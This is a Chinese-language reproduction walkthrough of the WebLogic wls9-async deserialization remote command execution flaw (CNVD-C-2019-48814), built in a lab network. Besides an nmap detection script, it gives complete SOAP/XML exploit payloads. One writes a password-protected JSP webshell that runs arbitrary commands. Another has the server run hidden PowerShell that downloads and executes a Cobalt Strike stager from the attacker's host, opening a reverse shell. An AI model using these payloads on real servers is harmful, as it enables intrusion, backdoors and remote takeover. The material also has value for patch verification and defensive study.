WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)漏洞复现
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)
0x01 weblogic简介
WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java(J2EE)应用服
务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,当前已推
出到12c(12.1.1)版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间
件(但当前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业
包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
WebLogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。是商业市场上主要的Java(J2EE)应用服务器软件(Application Server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。
根据FOFA的数据统计,全球共有23024个开放的weblogic服务。其中美国最多,有129583个开放服务。其次是中国,有28772个开放的weblogic服务。德国排第三,有22352个开放的weblogic服务。新加坡有18473个开放的weblogic服务。英国有15980个开放的weblogic服务。
国内的weblogic服务分布如下,北京最多,有6824个服务,浙江有4805个服务,山东有985个服务,广东有801个服务,上海有778个服务。
0x02漏洞简介
CNVD-C-2019-48814漏洞主要是利用了WebLogic中的wls9-async组件,攻击者可以在
/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列
化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。
0x03 影响的系统
Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.1.0
Oracle WebLogic Server12.2.1.2.0
复现过程选用Oracle WebLogic Server12.1.3.0.0,12.2.1.3.0及以上版本对该漏洞进行了修复
0x04 复现过程
1. 复现环境及搭建过程
复现过程基于内网环境
靶机:windows server 2008 R2: 搭建weblogic服务器
攻击机:kali2.0:IP192.168.15.176
1)靶机安装jdk
jdk版本选择1.8版本:直接下载:jdk-8u171-windows-x64.exe,双击运行即可,安装时注意注意路径问题,安装完成后,配置环境变量,非常简单;
测试:打开cmd
java -version
javac -version
出现版本及安装成功,否则很可能是环境变量出现了问题,重新检查
2) 靶机搭建weblogic
坑很多,该掉进入的一个都没少,一定要有耐心
1.下载安装包:fmw_12.1.3.0.0_wls.jar,并把安装包放在jdk的bin目录下:
2.进入fmw_12.1.3.0.0_wls.jar所在的目录,shift+鼠标右键,打开powershell:通过java运行安装:java -jar fmw_12.1.3.0.0_wls.jar
弹出安装过程直接下一步即可,除了路径外其他默认即可,当然路径也可以选择默认
3.运行完jar包后,会弹出weblogic的安装向导,这里只是为了复现漏洞,一路狂奔,全部默认即可;安装完成后找到安装路径:若是默认的则为C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
4. 服务器开始运行
5. 访问服务器:访问URL:http://192.168.15.89:7001/console,自动弹到登录页面,说明服务器搭建成功;
6. 查看服务器是否存在漏洞:直接访问:http://192.168.15.89:7001/_async/AsyncResponseService,若出现以下页面说明存在漏洞,否则很可能是版本更新,漏洞已修复,或者安装出现问题。
7. 也可以通过nmap扫描确定是否存在漏洞,若是kali系统需要添加脚本 :weblogic-CNVD-C-2019-48814.nse,将以下代码保存为weblogic-CNVD-C-2019-48814.nse,拷贝至卡里:/uer/share/nmap/script目录下
local http = require "http"
local nmap = require "nmap"
local stdnse = require "stdnse"
local vulns = require "vulns"
description = [[
Weblogic CNVD-C-2019-48814
]]
---
-- @usage
-- nmap -sV --script weblogic-CNVD-C-2019-48814 <target> -p 7001
-- nmap -sV --script weblogic-CNVD-C-2019-48814
--
-- @output
-- PORT STATE SERVICE
-- 7001/tcp open afs3-callback
-- | weblogic-CNVD-C-2019-48814:
-- | VULNERABLE:
-- | Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability
-- | State: VULNERABLE
-- | IDs: 1:CNVD-C-2019-48814 CVE:CVE-2019-???
-- | Risk factor: High CVSSv3: ???
-- |
-- | Disclosure date: 2019-04-17
-- | References:
-- | http://www.cnvd.org.cn/webinfo/show/4989
-- | http://www.cnvd.org.cn/webinfo/show/4999
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-????
author = "Rvn0xsy <rvn0xsy@gmail.com>"
l icense = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln"}
blog = "https://payloads.online"
portrule = function(host,port)
-- if(port.number == 7001)then
-- return true
-- end
-- return false
return true
end
action = function(host,port)
local vuln_table = {
title ="Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability",
IDS = {CVE = 'CVE-2019-????','CNVD-C-2019-48814'},
risk_factor = "High",
scores = {
CVSSv3 = "???",
},
description = [[]],
references = {
'http://www.cnvd.org.cn/webinfo/show/4989',
'http://www.cnvd.org.cn/webinfo/show/4999',
},
dates = {
disclosure = {year = '2019', month = '04', day = '17'},
},
check_results = {},
extra_info = {}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
vuln_table.state = vulns.STATE.NOT_VULN
path = "/_async/AsyncResponseService"
local result = http.get(host,port,path)
local status = stdnse.output_table()
if(result.status = = 200)then //代码“= =”表示判断相等,注意修改
if(string.find(result.body,"async") == nil)then
local status = stdnse.output_table()
status.Vuln = "False"
return status
end
options = {}
options['header'] = {}
options['header']['Content-Type'] = 'text/xml'
local payload = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">\n<soapenv:Header>\n<wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n<void class=\"POC\">\n<array class=\"xx\" length=\"0\">\n</array>\n<void method=\"start\"/>\n</void>\n</work:WorkContext>\n</soapenv:Header>\n<soapenv:Body>\n<asy:onAsyncDelivery/>\n</soapenv:Body>\n</soapenv:Envelope>\n"
local response = http.post(host,port,path,options,nil,payload)
if(response.status == 202)then
vuln_table.state = vulns.STATE.VULN
return vuln_report:make_output(vuln_table)
end
end
return vuln_report:make_output(vuln_table)
end
8. nmap扫描漏洞:nmap:nmap --script=weblogic-CNVD-C-2019-48814.nse 192.168.15.89
2. 漏洞利用
- 启动burpsuit设置代理拦截:http://192.168.15.89:7001/_async/AsyncResponseService
2. 右键发送至repeater
在默认的raw中追加以下脚本,并修改请求方法为:POST(右键:change request method)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.xmlDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
<void method="println"><string><![CDATA[
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
3. 点击go开始请求,当出现右面的响应说明漏洞上传成功,我们的webshell.jsp已经上传完毕
4. 漏洞利用,通过webshell探索用户及系统信息等:
访问:http://192.168.15.89:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
获取用户,这里通过传输cmd命令,查询信息
已成功利用weblogic反序列化漏洞获取服务器的信息
0x05 cobaltstrike的利用
在window是系统下的利用,他更多地利用在linux系统中,两种版本均支持,只是开启的命令略有不同:
**1.**开启cobaltstrike服务器:(需要用管理员权限运行cmd)
命令:teamserver 192.168.15.252 123456 //服务器ip 密码
**2.**开启客户端,连接服务端,直接打开cobaltstrike.bat
输入服务器IP地址和密码123456,用户名随便给,端口为服务器使用的端口
3. 开启监听,设置监听的名字、加载payload、绑定监听的ip地址和端口号
**4.**生成钓鱼网站脚本
5. 构造脚本反弹shell:
将4.中的链接加载到脚本中,加载到十六行的< string>中
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.252:80/a'))"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
6. burpsuit抓包,上传5.中的脚本
7. 上传脚本,点击go后,cobaltstrike里面得到反弹的shell
**8.**获取shell后便可进行后续的提权等操作。